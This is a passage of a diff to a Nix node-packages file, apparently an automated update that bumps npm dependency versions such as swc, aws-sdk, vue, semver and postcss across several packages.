sources."strip-ansi-7.1.0" sources."supports-color-7.2.0" sources."supports-hyperlinks-3.0.0" sources."type-fest-3.13.1" ]; }) - sources."@shopify/plugin-did-you-mean-3.55.2" + sources."@shopify/plugin-did-you-mean-3.56.1" sources."@sindresorhus/is-5.6.0" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@szmarczak/http-timer-5.0.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" @@ -62252,9 +62402,9 @@ in sources."@types/archiver-5.3.2" sources."@types/cli-progress-3.11.5" sources."@types/http-cache-semantics-4.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/prop-types-15.7.11" - sources."@types/react-18.2.51" + sources."@types/react-18.2.56" sources."@types/readdir-glob-1.1.5" sources."@types/scheduler-0.16.8" sources."@types/tinycolor2-1.4.6" @@ -62409,7 +62559,7 @@ in sources."extract-files-9.0.0" sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fetch-blob-3.2.0" (sources."figures-5.0.0" // { dependencies = [ @@ -62467,7 +62617,7 @@ in ]; }) sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."header-case-2.0.4" sources."http-cache-semantics-4.1.1" sources."http-call-5.3.0" @@ -62673,7 +62823,7 @@ in sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" sources."scheduler-0.23.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."semver-regex-4.0.5" sources."sentence-case-3.0.4" sources."shebang-command-2.0.0" @@ -62738,7 +62888,7 @@ in sources."tr46-0.0.3" sources."ts-error-1.0.6" sources."ts-node-10.9.2" - sources."tsconfck-3.0.1" + sources."tsconfck-3.0.2" sources."tslib-2.6.2" sources."tunnel-agent-0.6.0" sources."type-fest-0.21.3" @@ -62753,7 +62903,7 @@ in sources."util-deprecate-1.0.2" sources."v8-compile-cache-lib-3.0.1" sources."validate-npm-package-name-5.0.0" - sources."web-streams-polyfill-3.3.2" + sources."web-streams-polyfill-3.3.3" sources."webidl-conversions-3.0.1" sources."whatwg-url-5.0.0" sources."when-exit-2.1.2" @@ -62799,23 +62949,23 @@ in sources."@cspotcode/source-map-support-0.8.1" sources."@isaacs/cliui-8.0.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."ansi-regex-5.0.1" @@ -62828,7 +62978,7 @@ in sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."camelcase-css-2.0.1" - (sources."chokidar-3.5.3" // { + (sources."chokidar-3.6.0" // { dependencies = [ sources."glob-parent-5.1.2" ]; @@ -62849,14 +62999,13 @@ in sources."glob-parent-5.1.2" ]; }) - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."foreground-child-3.1.1" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."glob-10.3.10" sources."glob-parent-6.0.2" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-extglob-2.1.1" @@ -62886,12 +63035,12 @@ in sources."picomatch-2.3.1" sources."pify-2.3.0" sources."pirates-4.0.6" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-import-15.1.0" sources."postcss-js-4.0.1" (sources."postcss-load-config-4.0.2" // { dependencies = [ - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" ]; }) sources."postcss-nested-6.0.1" @@ -62973,23 +63122,23 @@ in sources."@cspotcode/source-map-support-0.8.1" sources."@isaacs/cliui-8.0.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."ansi-regex-5.0.1" @@ -63002,7 +63151,7 @@ in sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."camelcase-css-2.0.1" - (sources."chokidar-3.5.3" // { + (sources."chokidar-3.6.0" // { dependencies = [ sources."glob-parent-5.1.2" ]; @@ -63023,14 +63172,13 @@ in sources."glob-parent-5.1.2" ]; }) - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."foreground-child-3.1.1" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."glob-10.3.10" sources."glob-parent-6.0.2" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-extglob-2.1.1" @@ -63061,12 +63209,12 @@ in sources."picomatch-2.3.1" sources."pify-2.3.0" sources."pirates-4.0.6" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-import-15.1.0" sources."postcss-js-4.0.1" (sources."postcss-load-config-4.0.2" // { dependencies = [ - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" ]; }) sources."postcss-nested-6.0.1" @@ -63148,23 +63296,23 @@ in sources."@cspotcode/source-map-support-0.8.1" sources."@isaacs/cliui-8.0.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."ansi-regex-5.0.1" @@ -63177,7 +63325,7 @@ in sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."camelcase-css-2.0.1" - (sources."chokidar-3.5.3" // { + (sources."chokidar-3.6.0" // { dependencies = [ sources."glob-parent-5.1.2" ]; @@ -63198,14 +63346,13 @@ in sources."glob-parent-5.1.2" ]; }) - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."foreground-child-3.1.1" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."glob-10.3.10" sources."glob-parent-6.0.2" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-extglob-2.1.1" @@ -63235,12 +63382,12 @@ in sources."picomatch-2.3.1" sources."pify-2.3.0" sources."pirates-4.0.6" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-import-15.1.0" sources."postcss-js-4.0.1" (sources."postcss-load-config-4.0.2" // { dependencies = [ - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" ]; }) sources."postcss-nested-6.0.1" @@ -63322,23 +63469,23 @@ in sources."@cspotcode/source-map-support-0.8.1" sources."@isaacs/cliui-8.0.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."ansi-regex-5.0.1" @@ -63351,7 +63498,7 @@ in sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."camelcase-css-2.0.1" - (sources."chokidar-3.5.3" // { + (sources."chokidar-3.6.0" // { dependencies = [ sources."glob-parent-5.1.2" ]; @@ -63372,14 +63519,13 @@ in sources."glob-parent-5.1.2" ]; }) - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."foreground-child-3.1.1" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."glob-10.3.10" sources."glob-parent-6.0.2" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-extglob-2.1.1" @@ -63412,12 +63558,12 @@ in sources."picomatch-2.3.1" sources."pify-2.3.0" sources."pirates-4.0.6" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-import-15.1.0" sources."postcss-js-4.0.1" (sources."postcss-load-config-4.0.2" // { dependencies = [ - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" ]; }) (sources."postcss-nested-6.0.1" // { @@ -63543,46 +63689,46 @@ in sources."tslib-1.14.1" ]; }) - sources."@aws-sdk/client-s3-3.504.0" - sources."@aws-sdk/client-sso-3.502.0" - sources."@aws-sdk/client-sso-oidc-3.504.0" - sources."@aws-sdk/client-sts-3.504.0" - sources."@aws-sdk/core-3.496.0" - sources."@aws-sdk/credential-provider-env-3.502.0" - sources."@aws-sdk/credential-provider-http-3.503.1" - sources."@aws-sdk/credential-provider-ini-3.504.0" - sources."@aws-sdk/credential-provider-node-3.504.0" - sources."@aws-sdk/credential-provider-process-3.502.0" - sources."@aws-sdk/credential-provider-sso-3.504.0" - sources."@aws-sdk/credential-provider-web-identity-3.504.0" - (sources."@aws-sdk/lib-storage-3.504.0" // { + sources."@aws-sdk/client-s3-3.515.0" + sources."@aws-sdk/client-sso-3.515.0" + sources."@aws-sdk/client-sso-oidc-3.515.0" + sources."@aws-sdk/client-sts-3.515.0" + sources."@aws-sdk/core-3.513.0" + sources."@aws-sdk/credential-provider-env-3.515.0" + sources."@aws-sdk/credential-provider-http-3.515.0" + sources."@aws-sdk/credential-provider-ini-3.515.0" + sources."@aws-sdk/credential-provider-node-3.515.0" + sources."@aws-sdk/credential-provider-process-3.515.0" + sources."@aws-sdk/credential-provider-sso-3.515.0" + sources."@aws-sdk/credential-provider-web-identity-3.515.0" + (sources."@aws-sdk/lib-storage-3.515.0" // { dependencies = [ sources."buffer-5.6.0" ]; }) - sources."@aws-sdk/middleware-bucket-endpoint-3.502.0" - sources."@aws-sdk/middleware-expect-continue-3.502.0" - sources."@aws-sdk/middleware-flexible-checksums-3.502.0" - sources."@aws-sdk/middleware-host-header-3.502.0" - sources."@aws-sdk/middleware-location-constraint-3.502.0" - sources."@aws-sdk/middleware-logger-3.502.0" - sources."@aws-sdk/middleware-recursion-detection-3.502.0" - sources."@aws-sdk/middleware-sdk-s3-3.502.0" - sources."@aws-sdk/middleware-signing-3.502.0" - sources."@aws-sdk/middleware-ssec-3.502.0" - sources."@aws-sdk/middleware-user-agent-3.502.0" - sources."@aws-sdk/region-config-resolver-3.502.0" - sources."@aws-sdk/s3-presigned-post-3.504.0" - sources."@aws-sdk/s3-request-presigner-3.504.0" - sources."@aws-sdk/signature-v4-multi-region-3.502.0" - sources."@aws-sdk/token-providers-3.504.0" - sources."@aws-sdk/types-3.502.0" + sources."@aws-sdk/middleware-bucket-endpoint-3.515.0" + sources."@aws-sdk/middleware-expect-continue-3.515.0" + sources."@aws-sdk/middleware-flexible-checksums-3.515.0" + sources."@aws-sdk/middleware-host-header-3.515.0" + sources."@aws-sdk/middleware-location-constraint-3.515.0" + sources."@aws-sdk/middleware-logger-3.515.0" + sources."@aws-sdk/middleware-recursion-detection-3.515.0" + sources."@aws-sdk/middleware-sdk-s3-3.515.0" + sources."@aws-sdk/middleware-signing-3.515.0" + sources."@aws-sdk/middleware-ssec-3.515.0" + sources."@aws-sdk/middleware-user-agent-3.515.0" + sources."@aws-sdk/region-config-resolver-3.515.0" + sources."@aws-sdk/s3-presigned-post-3.515.0" + sources."@aws-sdk/s3-request-presigner-3.515.0" + sources."@aws-sdk/signature-v4-multi-region-3.515.0" + sources."@aws-sdk/token-providers-3.515.0" + sources."@aws-sdk/types-3.515.0" sources."@aws-sdk/util-arn-parser-3.495.0" - sources."@aws-sdk/util-endpoints-3.502.0" - sources."@aws-sdk/util-format-url-3.502.0" + sources."@aws-sdk/util-endpoints-3.515.0" + sources."@aws-sdk/util-format-url-3.515.0" sources."@aws-sdk/util-locate-window-3.495.0" - sources."@aws-sdk/util-user-agent-browser-3.502.0" - sources."@aws-sdk/util-user-agent-node-3.502.0" + sources."@aws-sdk/util-user-agent-browser-3.515.0" + sources."@aws-sdk/util-user-agent-node-3.515.0" sources."@aws-sdk/util-utf8-browser-3.259.0" sources."@aws-sdk/xml-builder-3.496.0" sources."@httptoolkit/websocket-stream-6.0.1" @@ -63597,7 +63743,7 @@ in sources."@smithy/chunked-blob-reader-2.1.1" sources."@smithy/chunked-blob-reader-native-2.1.1" sources."@smithy/config-resolver-2.1.1" - sources."@smithy/core-1.3.1" + sources."@smithy/core-1.3.2" sources."@smithy/credential-provider-imds-2.2.1" sources."@smithy/eventstream-codec-2.1.1" sources."@smithy/eventstream-serde-browser-2.1.1" @@ -63634,7 +63780,7 @@ in sources."@smithy/util-buffer-from-2.1.1" sources."@smithy/util-config-provider-2.2.1" sources."@smithy/util-defaults-mode-browser-2.1.1" - sources."@smithy/util-defaults-mode-node-2.1.1" + sources."@smithy/util-defaults-mode-node-2.2.0" sources."@smithy/util-endpoints-1.1.1" sources."@smithy/util-hex-encoding-2.1.1" sources."@smithy/util-middleware-2.1.1" @@ -63647,7 +63793,7 @@ in sources."@types/cacheable-request-6.0.3" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/responselike-1.0.3" sources."@types/ws-8.5.10" sources."accepts-1.3.8" @@ -63656,7 +63802,7 @@ in sources."asn1.js-5.4.1" sources."asynckit-0.4.0" sources."atob-2.1.2" - sources."aws-crt-1.21.0" + sources."aws-crt-1.21.1" (sources."axios-1.6.7" // { dependencies = [ sources."form-data-4.0.0" @@ -63693,7 +63839,7 @@ in sources."bytes-3.1.2" sources."cacheable-lookup-5.0.4" sources."cacheable-request-7.0.4" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chalk-4.1.2" sources."clone-response-1.0.3" sources."cluster-key-slot-1.1.0" @@ -63731,7 +63877,7 @@ in ]; }) sources."defer-to-connect-2.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delayed-stream-1.0.0" sources."depd-2.0.0" @@ -63742,6 +63888,8 @@ in sources."elliptic-6.5.4" sources."encodeurl-1.0.2" sources."end-of-stream-1.4.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-goat-3.0.0" sources."escape-html-1.0.3" sources."escape-string-regexp-4.0.0" @@ -63787,7 +63935,7 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."generic-pool-3.8.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-5.2.0" sources."glob-7.2.3" sources."gopd-1.0.1" @@ -63799,11 +63947,11 @@ in ]; }) sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."hash.js-1.1.7" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."helmet-4.6.0" (sources."help-me-3.0.0" // { dependencies = [ @@ -63862,7 +64010,7 @@ in sources."minimatch-3.1.2" sources."minimist-1.2.8" sources."moment-2.30.1" - sources."moment-timezone-0.5.44" + sources."moment-timezone-0.5.45" (sources."morgan-1.10.0" // { dependencies = [ sources."debug-2.6.9" @@ -63929,7 +64077,7 @@ in sources."rfdc-1.3.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" + sources."semver-7.6.0" (sources."send-0.18.0" // { dependencies = [ (sources."debug-2.6.9" // { @@ -63942,9 +64090,9 @@ in sources."serialize-error-2.1.0" sources."serialize-javascript-6.0.2" sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."sorted-array-functions-1.3.0" (sources."split2-3.2.2" // { @@ -64034,48 +64182,50 @@ in ]; }) sources."@vscode/l10n-0.0.11" - sources."@vue/compiler-core-3.4.15" - sources."@vue/compiler-dom-3.4.15" - sources."@vue/compiler-sfc-3.4.15" - sources."@vue/compiler-ssr-3.4.15" - sources."@vue/reactivity-3.4.15" - sources."@vue/shared-3.4.15" + sources."@vue/compiler-core-3.4.19" + sources."@vue/compiler-dom-3.4.19" + sources."@vue/compiler-sfc-3.4.19" + sources."@vue/compiler-ssr-3.4.19" + sources."@vue/reactivity-3.4.19" + sources."@vue/shared-3.4.19" sources."acorn-7.4.1" sources."balanced-match-1.0.2" sources."brace-expansion-2.0.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."character-parser-2.2.0" sources."de-indent-1.0.2" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."emmet-2.4.6" sources."entities-4.5.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."estree-walker-2.0.2" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."gopd-1.0.1" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."he-1.2.0" sources."is-expression-4.0.0" sources."is-regex-1.1.4" sources."jsonc-parser-3.2.1" sources."lru-cache-6.0.0" - sources."magic-string-0.30.6" + sources."magic-string-0.30.7" sources."minimatch-9.0.3" sources."muggle-string-0.2.2" sources."nanoid-3.3.7" sources."object-assign-4.1.1" sources."picocolors-1.0.0" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."pug-error-2.0.0" sources."pug-lexer-5.0.1" sources."pug-parser-6.0.0" sources."request-light-0.7.0" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."source-map-js-1.0.2" sources."token-stream-1.0.0" sources."typesafe-path-0.2.2" @@ -64334,7 +64484,7 @@ in sources."@hapi/topo-5.1.0" sources."@josephg/resolvable-1.0.1" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -64373,7 +64523,7 @@ in }) sources."@types/long-4.0.2" sources."@types/mime-3.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/normalize-package-data-2.4.4" sources."@types/qs-6.9.11" sources."@types/range-parser-1.2.7" @@ -64387,14 +64537,14 @@ in }) sources."@vue/cli-ui-addon-webpack-5.0.8" sources."@vue/cli-ui-addon-widgets-5.0.8" - (sources."@vue/compiler-core-3.4.15" // { + (sources."@vue/compiler-core-3.4.19" // { dependencies = [ sources."entities-4.5.0" ]; }) - sources."@vue/compiler-dom-3.4.15" + sources."@vue/compiler-dom-3.4.19" sources."@vue/compiler-sfc-2.7.16" - sources."@vue/shared-3.4.15" + sources."@vue/shared-3.4.19" sources."accepts-1.3.8" sources."aggregate-error-3.1.0" sources."ansi-align-3.0.1" @@ -64467,7 +64617,7 @@ in }) sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-5.7.1" sources."buffer-alloc-1.2.0" sources."buffer-alloc-unsafe-1.1.0" @@ -64484,9 +64634,9 @@ in sources."lowercase-keys-1.0.0" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-6.3.0" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."caw-2.0.1" sources."chalk-4.1.2" sources."chardet-0.7.0" @@ -64524,7 +64674,7 @@ in sources."cookie-0.5.0" sources."cookie-signature-1.0.6" sources."copy-descriptor-0.1.1" - sources."core-js-compat-3.35.1" + sources."core-js-compat-3.36.0" sources."core-util-is-1.0.3" sources."cors-2.8.5" (sources."cross-spawn-6.0.5" // { @@ -64570,7 +64720,7 @@ in }) sources."deepmerge-4.3.1" sources."defaults-1.0.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-lazy-prop-2.0.0" sources."define-property-2.0.2" sources."depd-2.0.0" @@ -64586,15 +64736,17 @@ in sources."easy-stack-1.0.1" sources."ee-first-1.1.1" sources."ejs-3.1.9" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."encodeurl-1.0.2" sources."encoding-0.1.13" sources."end-of-stream-1.4.4" sources."entities-2.2.0" - sources."envinfo-7.11.0" + sources."envinfo-7.11.1" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" + sources."escalade-3.1.2" sources."escape-html-1.0.3" sources."escape-string-regexp-1.0.5" sources."esprima-4.0.1" @@ -64641,7 +64793,7 @@ in }) sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fd-slicer-1.1.0" sources."figures-3.2.0" sources."file-type-8.1.0" @@ -64686,7 +64838,7 @@ in sources."which-2.0.2" ]; }) - sources."flow-parser-0.227.0" + sources."flow-parser-0.229.0" sources."for-in-1.0.2" sources."forwarded-0.2.0" sources."fragment-cache-0.2.1" @@ -64705,7 +64857,7 @@ in sources."function-bind-1.1.2" sources."gensync-1.0.0-beta.2" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-proxy-2.1.0" sources."get-stream-4.1.0" sources."get-value-2.0.6" @@ -64733,7 +64885,7 @@ in sources."graphql-type-json-0.3.2" sources."growly-1.3.0" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbol-support-x-1.4.2" sources."has-symbols-1.0.3" @@ -64749,7 +64901,7 @@ in sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."http-cache-semantics-3.8.1" sources."http-errors-2.0.0" @@ -64968,7 +65120,7 @@ in ]; }) sources."posix-character-classes-0.1.1" - (sources."postcss-8.4.33" // { + (sources."postcss-8.4.35" // { dependencies = [ sources."nanoid-3.3.7" ]; @@ -65034,7 +65186,7 @@ in sources."commander-2.20.3" ]; }) - sources."semver-7.5.4" + sources."semver-7.6.0" (sources."send-0.18.0" // { dependencies = [ (sources."debug-2.6.9" // { @@ -65046,7 +65198,7 @@ in ]; }) sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" (sources."set-value-2.0.1" // { dependencies = [ sources."extend-shallow-2.0.1" @@ -65060,7 +65212,7 @@ in sources."shell-quote-1.8.1" sources."shellwords-0.1.1" sources."shortid-2.2.16" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."slash-3.0.0" (sources."snapdragon-0.8.2" // { @@ -65090,9 +65242,9 @@ in sources."source-map-support-0.5.21" sources."source-map-url-0.4.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-string-3.1.0" sources."sprintf-js-1.0.3" (sources."static-extend-0.1.2" // { @@ -65378,7 +65530,7 @@ in sources."@babel/template-7.23.9" sources."@babel/types-7.23.9" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -65487,7 +65639,7 @@ in sources."@types/minimist-1.2.5" sources."@types/ms-0.7.34" sources."@types/nlcst-1.0.4" - sources."@types/node-18.19.13" + sources."@types/node-18.19.17" sources."@types/normalize-package-data-2.4.4" sources."@types/supports-color-8.1.3" sources."@types/unist-2.0.10" @@ -65572,7 +65724,7 @@ in sources."deep-extend-0.6.0" sources."defer-to-connect-2.0.1" sources."dequal-2.0.3" - sources."diff-5.1.0" + sources."diff-5.2.0" sources."dot-prop-6.0.1" sources."duplexer-0.1.2" sources."eastasianwidth-0.2.0" @@ -65607,7 +65759,7 @@ in sources."hard-rejection-2.1.0" sources."has-flag-3.0.0" sources."has-yarn-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hast-util-embedded-2.0.1" sources."hast-util-from-parse5-7.1.2" sources."hast-util-has-property-2.0.1" @@ -65826,7 +65978,7 @@ in sources."retext-profanities-7.2.2" sources."sade-1.8.1" sources."safe-buffer-5.2.1" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -65843,9 +65995,9 @@ in ]; }) sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-0.2.10" (sources."split-transform-stream-0.1.1" // { dependencies = [ @@ -65882,7 +66034,7 @@ in }) sources."to-vfile-7.2.4" sources."trim-newlines-4.1.1" - sources."trough-2.1.0" + sources."trough-2.2.0" sources."type-fest-3.13.1" sources."typedarray-0.0.6" sources."typedarray-to-buffer-3.1.5" @@ -66043,16 +66195,16 @@ in sha512 = "/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg=="; }; dependencies = [ - sources."browserslist-4.22.3" - sources."caniuse-lite-1.0.30001582" - sources."electron-to-chromium-1.4.653" - sources."escalade-3.1.1" + sources."browserslist-4.23.0" + sources."caniuse-lite-1.0.30001587" + sources."electron-to-chromium-1.4.673" + sources."escalade-3.1.2" sources."fraction.js-4.3.7" sources."nanoid-3.3.7" sources."node-releases-2.0.14" sources."normalize-range-0.1.2" sources."picocolors-1.0.0" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-value-parser-4.2.0" sources."source-map-js-1.0.2" sources."update-browserslist-db-1.0.13" @@ -66086,7 +66238,7 @@ in sources."node-fetch-2.7.0" sources."parse-github-url-1.0.2" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."source-map-0.6.1" sources."tr46-0.0.3" sources."uglify-js-3.17.4" @@ -66108,10 +66260,10 @@ in aws-cdk = nodeEnv.buildNodePackage { name = "aws-cdk"; packageName = "aws-cdk"; - version = "2.125.0"; + version = "2.128.0"; src = fetchurl { - url = 